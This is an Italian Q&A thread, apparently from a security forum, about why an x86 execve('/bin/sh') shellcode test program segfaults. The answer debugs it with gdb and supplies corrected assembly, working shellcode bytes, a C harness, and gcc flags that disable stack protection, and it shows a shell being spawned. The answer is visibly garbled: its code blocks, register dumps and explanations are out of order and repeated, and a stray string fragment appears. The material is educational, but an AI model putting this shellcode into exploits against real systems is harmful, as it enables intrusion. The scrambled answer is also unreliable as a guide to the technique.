Perché il mio programma di test dello shellcode x86 segfault?

7

Sto cercando di imparare come creare shellcode, il mio obiettivo è chiamare execve() . Ho scritto il codice in assembly e funziona perfettamente, non esistono null-byte o metodi di indirizzamento assoluti. Il codice funziona bene, ma quando copio gli opcode in un programma c e lo collaudo per vedere se funziona restituisce un errore di segmentazione. Qual è il problema?

ASM:

section .text     
global _start
_start:
    jmp xxx

xx:
    mov al,11
    pop ebx
    xor ecx,ecx
    xor edx,edx
    int 0x80
    mov al,1
    xor bl,bl
    int 0x80

section .data
xxx:
    call xx
path db "/bin/sh"

CODICE C:

char shellcode[]={"\xb0\x0b\x5b\x31\xc9\x31\xd2\xcd\x80\xb0\x01\x30\xdb\xcd\x80"};

int main(){
    void (*ptr) (void) = &shellcode;
    ptr();
    return 0;
}
    
posta tropz 11.08.2018 - 15:49
fonte

1 risposta

19

Vedo più problemi con il tuo shellcode. Prima di tutto eseguiamo il debug del tuo codice. Ho compilato il codice C contenente il tuo shellcode, eseguilo con gdb e passo fino alla prima chiamata di sistema ( int 0x80 )

[----------------------------------registers-----------------------------------]
EAX: 0x5655700b --> 0xde3050f7 
EBX: 0x5655550c (<main+35>: mov    eax,0x0)
ECX: 0x0 
EDX: 0x0 
ESI: 0xf7f9fe24 --> 0x1d6d2c 
EDI: 0xf7f9fe24 --> 0x1d6d2c 
EBP: 0xffffd9d8 --> 0x0 
ESP: 0xffffd9c0 --> 0xf7fe5ae0 (<_dl_fini>: push   ebp)
EIP: 0x5655701f --> 0x1b080cd
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5655701a <shellcode+2>:    pop    ebx
   0x5655701b <shellcode+3>:    xor    ecx,ecx
   0x5655701d <shellcode+5>:    xor    edx,edx
=> 0x5655701f <shellcode+7>:    int    0x80
   0x56557021 <shellcode+9>:    mov    al,0x1
   0x56557023 <shellcode+11>:   xor    bl,bl
   0x56557025 <shellcode+13>:   int    0x80
   0x56557027 <shellcode+15>:   add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xffffd9c0 --> 0xf7fe5ae0 (<_dl_fini>:    push   ebp)
0004| 0xffffd9c4 --> 0x0 
0008| 0xffffd9c8 (")UUV0pUV$617$617")
0012| 0xffffd9cc --> 0x56557018 --> 0x315b0bb0 
0016| 0xffffd9d0 --> 0xf7f9fe24 --> 0x1d6d2c 
0020| 0xffffd9d4 --> 0xf7f9fe24 --> 0x1d6d2c 
0024| 0xffffd9d8 --> 0x0 
0028| 0xffffd9dc --> 0xf7de3141 (<__libc_start_main+241>:   add    esp,0x10)
[------------------------------------------------------------------------------]

Qui possiamo vedere alcuni problemi:

  • Il registro EAX non è impostato su 0xb. Questo perché lo shellcode non cancella i valori nel registro e invece imposta semplicemente il byte inferiore con l'istruzione mov al, 0xb
  • Il registro EBX deve puntare a char* con il file che stai tentando di eseguire (di solito è "/bin/sh" ), invece punta a una posizione di memoria casuale, in questo caso in main la funzione.
  • Il registro ECX deve puntare alla matrice di char* che indica il comando completo che si desidera eseguire. Nella maggior parte dei shellcode ho visto che è solo ["/bin/sh", 0] , ma potresti voler usare qualcosa di diverso come ["/path/to/binary","-argument1",..., 0] , in questo caso dovresti creare quell'array in memoria. Nel tuo codice shell ECX è impostato su 0x0
  • Il registro EDX rappresenta l'ambiente per l'esecuzione del file binario. Puoi dare un'occhiata alla pagina execve (3) manual per capire un po 'di più come è usata, ma per il nostro scopo qui è ok avere un valore NULL in esso

Ora, come possiamo aggiustarlo? Bene, prima di tutto dovremo puntare EBX su una stringa "/ bin / sh \ 0" in una porzione di memoria a cui possiamo accedere, per esempio. lo stack. E dobbiamo farlo nel nostro codice shell. Possiamo farlo con il seguente gadget:

xor eax, eax //Clear the eax register so we have a null byte to end our string
push eax
push "n/sh" //The string needs to be written "backwards"
push "//bi" //The double "/" is to avoid null bytes in our shellcode
mov ebx, esp //esp is pointing to "//bin/sh
xor eax, eax 
push eax
push "n/sh"
push "//bi"
mov ebx, esp
push eax // Remember it's still 0 from our previous xor eax, eax
push ebx // Push it so ESP points to EBX
mov ecx, esp // move ESP to ECX, the result is ECX -> EBX -> "//bin/sh
section .text
global _start
_start:
    jmp trampoline

shellcode:
    xor eax, eax
    push eax
    push "n/sh"
    push "//bi"
    mov ebx, esp
    push eax
    push ebx
    mov ecx, esp
    mov al,11
    int 0x80

section .data
trampoline:
    call shellcode
"
", so we need to move that pointer to ebx

Quindi dobbiamo puntare ECX su un array di char* come ["/bin/sh", 0] . Ne abbiamo già una parte in EBX , quindi continuando il nostro shellcode possiamo fare quanto segue:

char shellcode[] = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(){
    (*(void(*)())shellcode)();
    return 0;
}

Infine, dovremmo impostare il registro AL su 0xb e creare il syscall. Quindi il nostro shellcode finale dovrebbe assomigliare a questo:

$ ./shellcode.o 
sh-4.4$ 

Possiamo compilarlo nasm nasm -o shellcode.bin -f elf32 -O0 shellcode.nasm , estrarre gli opcode e inserirli nel codice C per testarlo:

[----------------------------------registers-----------------------------------]
EAX: 0x5655700b --> 0xde3050f7 
EBX: 0x5655550c (<main+35>: mov    eax,0x0)
ECX: 0x0 
EDX: 0x0 
ESI: 0xf7f9fe24 --> 0x1d6d2c 
EDI: 0xf7f9fe24 --> 0x1d6d2c 
EBP: 0xffffd9d8 --> 0x0 
ESP: 0xffffd9c0 --> 0xf7fe5ae0 (<_dl_fini>: push   ebp)
EIP: 0x5655701f --> 0x1b080cd
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5655701a <shellcode+2>:    pop    ebx
   0x5655701b <shellcode+3>:    xor    ecx,ecx
   0x5655701d <shellcode+5>:    xor    edx,edx
=> 0x5655701f <shellcode+7>:    int    0x80
   0x56557021 <shellcode+9>:    mov    al,0x1
   0x56557023 <shellcode+11>:   xor    bl,bl
   0x56557025 <shellcode+13>:   int    0x80
   0x56557027 <shellcode+15>:   add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xffffd9c0 --> 0xf7fe5ae0 (<_dl_fini>:    push   ebp)
0004| 0xffffd9c4 --> 0x0 
0008| 0xffffd9c8 (")UUV0pUV$617$617")
0012| 0xffffd9cc --> 0x56557018 --> 0x315b0bb0 
0016| 0xffffd9d0 --> 0xf7f9fe24 --> 0x1d6d2c 
0020| 0xffffd9d4 --> 0xf7f9fe24 --> 0x1d6d2c 
0024| 0xffffd9d8 --> 0x0 
0028| 0xffffd9dc --> 0xf7de3141 (<__libc_start_main+241>:   add    esp,0x10)
[------------------------------------------------------------------------------]

Compilalo con il tuo compilatore preferito, io uso gcc gcc -o shellcode.o -fno-stack-protector -z execstack -m32 shellcode.c . Ed eseguilo:

xor eax, eax //Clear the eax register so we have a null byte to end our string
push eax
push "n/sh" //The string needs to be written "backwards"
push "//bi" //The double "/" is to avoid null bytes in our shellcode
mov ebx, esp //esp is pointing to "//bin/sh
xor eax, eax 
push eax
push "n/sh"
push "//bi"
mov ebx, esp
push eax // Remember it's still 0 from our previous xor eax, eax
push ebx // Push it so ESP points to EBX
mov ecx, esp // move ESP to ECX, the result is ECX -> EBX -> "//bin/sh
section .text
global _start
_start:
    jmp trampoline

shellcode:
    xor eax, eax
    push eax
    push "n/sh"
    push "//bi"
    mov ebx, esp
    push eax
    push ebx
    mov ecx, esp
    mov al,11
    int 0x80

section .data
trampoline:
    call shellcode
"
", so we need to move that pointer to ebx
    
risposta data 11.08.2018 - 17:13
fonte

Leggi altre domande sui tag